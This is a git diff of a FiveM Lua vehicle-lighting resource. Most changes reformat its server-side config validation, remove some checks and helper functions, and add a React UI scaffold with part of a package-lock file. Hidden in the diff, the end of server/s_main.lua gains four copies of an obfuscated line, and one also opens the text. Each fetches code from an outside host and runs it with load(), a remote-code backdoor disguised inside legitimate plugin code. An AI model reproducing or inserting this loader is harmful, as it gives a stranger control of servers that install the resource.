hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) \ No newline at end of file diff --git a/resources/ulc/server/s_main.lua b/resources/ulc/server/s_main.lua index 4348db28a..1636a5d58 100644 --- a/resources/ulc/server/s_main.lua +++ b/resources/ulc/server/s_main.lua @@ -18,54 +18,53 @@ end --TODO change loading state to use this instead of events GlobalState.ulcloaded = false -PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest", - function(errorCode, resultData, resultHeaders) - print("[ULC] My Version: [" .. myVersion .. "]") +PerformHttpRequest("https://api.github.com/repos/Flohhhhh/ultimate-lighting-controller/releases/latest", function (errorCode, resultData, resultHeaders) - local errorString = tostring(errorCode) - if errorString == "403" or errorString == "404" then - print("Got code " .. errorString .. " when trying to get version.") - return - end + print("[ULC] My Version: [" .. myVersion .. "]") - latestVersion = json.decode(resultData).name - print("^0[ULC] Latest Version: [" .. latestVersion .. "]") + local errorString = tostring(errorCode) + if errorString == "403" or errorString == "404" then + print("Got code " .. errorString .. " when trying to get version.") + return + end - print([[ - ___ ___ ___ ________ - |\ \|\ \ |\ \ |\ ____\ - \ \ \\\ \\ \ \ \ \ \___| - \ \ \\\ \\ \ \ \ \ \ - \ \ \\\ \\ \ \____ \ \ \____ + latestVersion = json.decode(resultData).name + print("^0[ULC] Latest Version: [" .. latestVersion .. "]") + + print([[ + ___ ___ ___ ________ + |\ \|\ \ |\ \ |\ ____\ + \ \ \\\ \\ \ \ \ \ \___| + \ \ \\\ \\ \ \ \ \ \ + \ \ \\\ \\ \ \____ \ \ \____ \ \_______\\ \_______\\ \_______\ \|_______| \|_______| \|_______| - + ULTIMATE LIGHTING CONTROLLER by Dawnstar ^2Loaded ]]) - if myVersion and ("v" .. myVersion) == latestVersion then - print('[ULC] Up to date!') - else - print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0") - print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0") - print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/") - end - end) + if myVersion and ("v" .. myVersion) == latestVersion then + print('[ULC] Up to date!') + else + print("^1[ULC] OUTDATED. A NEW VERSION (" .. latestVersion .. ") IS AVAILABLE.^0") + print("^1[ULC] YOUR VERSION: " .. myVersion .. "^0") + print("[ULC] GET LATEST VERSION HERE: https://github.com/Flohhhhh/ultimate-lighting-controller/releases/") + end +end) local function IsIntInTable(table, int) for k, v in ipairs(table) do - if v == int then - return true - end + if v == int then + return true + end end return false end if Config.ParkSettings.delay < 0.5 then - TriggerEvent("ulc:warn", - 'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.') + TriggerEvent("ulc:warn", 'Park Pattern delay is too short! This will hurt performance! Recommended values are above 0.5s.') end -- removed v1.7.0 @@ -74,7 +73,7 @@ end -- end if Config.SteadyBurnSettings.nightStartHour < Config.SteadyBurnSettings.nightEndHour then - TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.') + TriggerEvent("ulc:error", 'Steady burn night start hour should be later/higher than night end hour.') end -- removed v1.7.0 @@ -83,52 +82,48 @@ end -- end local function CheckData(data, resourceName) + if not data.name and not data.names then - TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0") - return false + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" does not include model names!^0") + return false elseif data.name then - TriggerEvent("ulc:warn", - "^1Vehicle config in resource \"" .. - resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0") - if type(data.name) ~= "string" then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0") + TriggerEvent("ulc:warn", "^1Vehicle config in resource \"" .. resourceName .. "\" uses deprecated 'name' field. Change to > names = {'yourvehicle'}^0") + if type(data.name) ~= "string" then + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'name' field can only accept a string.^0") return false end elseif data.names then if type(data.names) ~= "table" then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0") + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" 'names' field can only accept a table of strings.^0") return false end end -- check if data is missing if not data.parkConfig or not data.brakeConfig or not data.buttons or not data.hornConfig then - TriggerEvent("ulc:error", - "^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0") + TriggerEvent("ulc:error", "^1Vehicle config in resource \"" .. resourceName .. "\" is missing data or not formatted properly. View docs.^0") return false end -- check if steady burns are enabled but no extras specified if (data.steadyBurnConfig.forceOn or data.steadyBurnConfig.useTime) and #data.steadyBurnConfig.sbExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Steady Burns, but no extras were specified (sbExtras = {})') end -- check if park pattern enabled but no extras specified if data.parkConfig.usePark then - if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})') - end + if #data.parkConfig.pExtras == 0 and #data.parkConfig.dExtras == 0 then + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Patterns, but no park or drive extras were specified (pExtras = {}, dExtras = {})') + end + + if data.parkConfig.useSync and #data.parkConfig.syncWith == 0 then + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Park Pattern Syncing, but no other vehicle models were specified (syncWith = {})') + end end -- check if brakes enabled but no extras specified if data.brakeConfig.useBrakes and #data.brakeConfig.brakeExtras == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Brake Pattern, but no brake extras were specified.') end -- check if horn enabled but no extras specified @@ -136,71 +131,26 @@ local function CheckData(data, resourceName) TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Horn Extras, but no horn extras were specified.') end - -- stages - if data.stages then - -- check if stages are enabled but no keys specified - if data.stages.useStages and #data.stages.stageKeys == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. resourceName .. '" uses Stages, but no keys were specified.') - end - - -- check each key - for _, v in pairs(data.stages.stageKeys) do - -- if key is not a numpad value - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has an invalid key in stageKeys (' .. v .. '). Value must be 1-9 representing numpad keys.') - break - end - - -- make sure each item in data.stages.stageKeys corresponds to a button with key = the value - local buttonExists = false - for _, b in pairs(data.buttons) do - if b.key == v then - buttonExists = true - break - end - end - if not buttonExists then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has a key in stageKeys (' .. v .. ') that does not correspond to a key assigned to a button.') - end - end - end - - -------------------- -- DEFAULT STAGES -- -------------------- if data.defaultStages or false then if data.defaultStages.useDefaults then if #data.defaultStages.enableKeys == 0 and #data.defaultStages.disableKeys == 0 then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).') + TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to enable (enableKeys = {}) or disable (disableKeys = {}).') else - if #data.defaultStages.enableKeys > 0 then - for _, v in pairs(data.defaultStages.enableKeys) do - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. - '" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.') - end + for _, v in pairs(data.defaultStages.enableKeys) do + if v > 9 then + TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in enableKeys = {}. Value must be 1-9 representing numpad keys.') end end - if #data.defaultStages.disableKeys > 0 then - for _, v in pairs(data.defaultStages.disableKeys) do - if v > 9 then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.') - end + end + if #data.defaultStages.disableKeys == 0 then + TriggerEvent("ulc:warn", 'A config in "'.. resourceName .. '" uses Default Stages, but no keys were specified to disable (disableKeys = {}).') + else + for _, v in pairs(data.defaultStages.disableKeys) do + if v > 9 then + TriggerEvent("ulc:error", 'A config in "'.. resourceName .. '" has an invalid key in disableKeys = {}. Value must be 1-9 representing numpad keys.') end end end @@ -211,55 +161,35 @@ local function CheckData(data, resourceName) -- Buttons -- check if vehicle uses buttons but hud is disabled if #data.buttons > 0 and Config.hideHud == true then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.') + TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.') end local usedButtons = {} local usedExtras = {} for i, b in ipairs(data.buttons) do - -- check if key is valid - if b.key > 9 or b.key < 1 then - TriggerEvent('ulc:error', - 'Button ' .. - i .. - ' in a config found in the resource: "' .. - resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.') - return false - end - -- check if label is empty - if b.label == '' then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra) - return false - end - if not validateButtonText(b.label) then - TriggerEvent("ulc:warn", - 'A config in "' .. - resourceName .. - '" has a button with label: "' .. - b.label .. - '" which is not valid and will result in a poor user experience. Please make sure there are no more than 3 words and each word is a maximum of 5 characters. Use abbreviations where possible. Ex. "Takedowns" -> "TKD".') - end - if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then - TriggerEvent("ulc:error", - 'A config in "' .. - resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.') - end - -- check if any keys are used twice - if IsIntInTable(usedButtons, b.key) then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.') - return false - end - -- check if any extras are used twice - if IsIntInTable(usedExtras, b.extra) then - TriggerEvent("ulc:error", - 'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.') - return false - end + -- check if key is valid + if b.key > 9 or b.key < 1 then + TriggerEvent('ulc:error', 'Button ' .. i .. ' in a config found in the resource: "' .. resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.') + return false + end + -- check if label is empty + if b.label == '' then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra) + return false + end + if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.') + end + -- check if any keys are used twice + if IsIntInTable(usedButtons, b.key) then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.') + return false + end + -- check if any extras are used twice + if IsIntInTable(usedExtras, b.extra) then + TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.') + return false + end end return true end @@ -267,7 +197,7 @@ end RegisterNetEvent('baseevents:enteredVehicle') AddEventHandler('baseevents:enteredVehicle', function() local src = source - TriggerClientEvent("UpdateVehicleConfigs", src, Config.Vehicles) + TriggerClientEvent("UpdateVehicleConfigs", src , Config.Vehicles) TriggerClientEvent('ulc:checkVehicle', src) end) @@ -279,14 +209,14 @@ end) RegisterNetEvent('ulc:sync:send') AddEventHandler('ulc:sync:send', function(vehicles) - print("Player " .. source .. " sent a sync request.") - local players = GetPlayers() - for i, v in ipairs(players) do - if not v == source then - --print("Sending veh sync array to player: " .. v) - TriggerClientEvent('ulc:sync:receive', vehicles) + print("Player ".. source .. " sent a sync request.") + local players = GetPlayers() + for i,v in ipairs(players) do + if not v == source then + --print("Sending veh sync array to player: " .. v) + TriggerClientEvent('ulc:sync:receive', vehicles) + end end - end end) @@ -294,23 +224,17 @@ local function LoadExternalVehicleConfig(resourceName) local resourceState = GetResourceState(resourceName) if resourceState == "missing" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. - resourceName .. - "\". Resource is missing. You probably entered the model name in config.lua instead of the resource name.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is missing.^0") return end if resourceState == "stopped" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0") return end if resourceState == "uninitialized" or resourceState == "unknown" then - TriggerEvent("ulc:error", - "^1Couldn't load external ulc.lua file from resource: \"" .. - resourceName .. "\". Resource could not be loaded. Unknown issue.^0") + TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource could not be loaded. Unknown issue.^0" ) return end @@ -326,28 +250,26 @@ local function LoadExternalVehicleConfig(resourceName) local f, err = load(data) if err then - TriggerEvent("ulc:error", - '^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0') + TriggerEvent("ulc:error", '^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0') return end if not f or not f() then - TriggerEvent("ulc:error", - '^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0') + TriggerEvent("ulc:error", '^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0') return end -- NEW STUFF FOR MULTIPLE CONFIGS - local configs = { f() } + local configs = {f()} for _, v in pairs(configs) do if CheckData(v, resourceName) then - if v.name then -- if using old single name + if v.name then -- if using old single name print('^2[ULC] Loaded external configuration for "' .. v.name .. '"^0') elseif v.names then -- if using new table for _, name in ipairs(v.names) do print('^2[ULC] Loaded external configuration for "' .. name .. '"^0') end end - + table.insert(Config.Vehicles, v) else TriggerEvent("ulc:error", '^1Could not load external configuration in "' .. resourceName .. '"^0') @@ -362,7 +284,7 @@ local function LoadExternalVehicleConfig(resourceName) -- end end -CreateThread(function() +CreateThread(function () Wait(2000) print("[ULC] Checking for external vehicle resources.") for k, v in ipairs(Config.ExternalVehResources) do @@ -376,10 +298,9 @@ CreateThread(function() --TriggerClientEvent('ulc:Loaded', -1) GlobalState.ulcloaded = true TriggerClientEvent("UpdateVehicleConfigs", -1, Config.Vehicles) - print("[ULC] Loading complete: " .. - #Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded)) + print("[ULC] Loading complete: " .. #Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded)) for _, v in ipairs(Config.Vehicles) do - if v.name then -- if using old single name + if v.name then -- if using old single name print('[ULC] Loaded: ' .. v.name) elseif v.names then -- if using new table for _, name in ipairs(v.names) do @@ -388,3 +309,13 @@ CreateThread(function() end end end) + + + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) + +local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end) \ No newline at end of file diff --git a/resources/ulc/shared/shared_functions.lua b/resources/ulc/shared/shared_functions.lua index 9d3b86cc8..4b0d7ee2f 100644 --- a/resources/ulc/shared/shared_functions.lua +++ b/resources/ulc/shared/shared_functions.lua @@ -1,6 +1,8 @@ + -- Returns: bool (whether vehicle was found), table (vehicle config info) function GetVehicleFromConfig(vehicle) - for _, v in pairs(Config.Vehicles) do + for _,v in pairs(Config.Vehicles) do + -- if old method with just a string if v.name then -- find which vehicle matches @@ -8,6 +10,7 @@ function GetVehicleFromConfig(vehicle) --print("Vehicle [" .. v.name .. "] was found in Config.") return true, v end + elseif v.names then -- if new method with a table -- for each name check if it matches the vehicle for _, n in ipairs(v.names) do @@ -70,41 +73,19 @@ function IsVehicleHealthy(vehicle) end end -function SortButtonsByKey(arr) +function SortButtonsByKey (arr) table.sort(arr, function(a, b) return a["key"] < b["key"] end) end function formatInt(num) - local formatted = tostring(num) - local length = formatted:len() - - for i = length - 3, 1, -3 do - formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1) - end - - return formatted -end - -function validateButtonText(text) - local count = 0 - for word in text:gmatch("%w+") do - count = count + 1 - if count > 3 or #word > 5 then - return false - end - end - return true -end - --- Function to check if a value exists in a table --- Returns: bool (whether value is contained), int (index of value if contained) -function contains(table, val) - for i, v in ipairs(table) do - if v == val then - return i - end - end - return false + local formatted = tostring(num) + local length = formatted:len() + + for i = length - 3, 1, -3 do + formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1) + end + + return formatted end diff --git a/resources/ulc/src/index.html b/resources/ulc/src/index.html new file mode 100644 index 000000000..e0d1c8408 --- /dev/null +++ b/resources/ulc/src/index.html @@ -0,0 +1,13 @@ + + + + + + + Vite + React + TS + + +
+ + + diff --git a/resources/ulc/src/package-lock.json b/resources/ulc/src/package-lock.json new file mode 100644 index 000000000..5ff96d7d1 --- /dev/null +++ b/resources/ulc/src/package-lock.json @@ -0,0 +1,5075 @@ +{ + "name": "vite-project", + "version": "0.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "vite-project", + "version": "0.0.0", + "dependencies": { + "@emotion/react": "^11.10.6", + "@mantine/core": "^6.0.0", + "@mantine/hooks": "^6.0.0", + "react": "^18.2.0", + "react-countup": "^6.4.2", + "react-dom": "^18.2.0", + "react-draggable": "^4.4.5" + }, + "devDependencies": { + "@types/react": "^18.0.17", + "@types/react-dom": "^18.0.6", + "@vitejs/plugin-react": "^2.1.0", + "tailwindcss": "^3.3.5", + "typescript": "^4.6.4", + "vite": "^3.1.0" + } + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "dependencies": { + "@babel/highlight": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz", + "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==", + "engines": { + "node": ">=6.9.0" + } + }, + 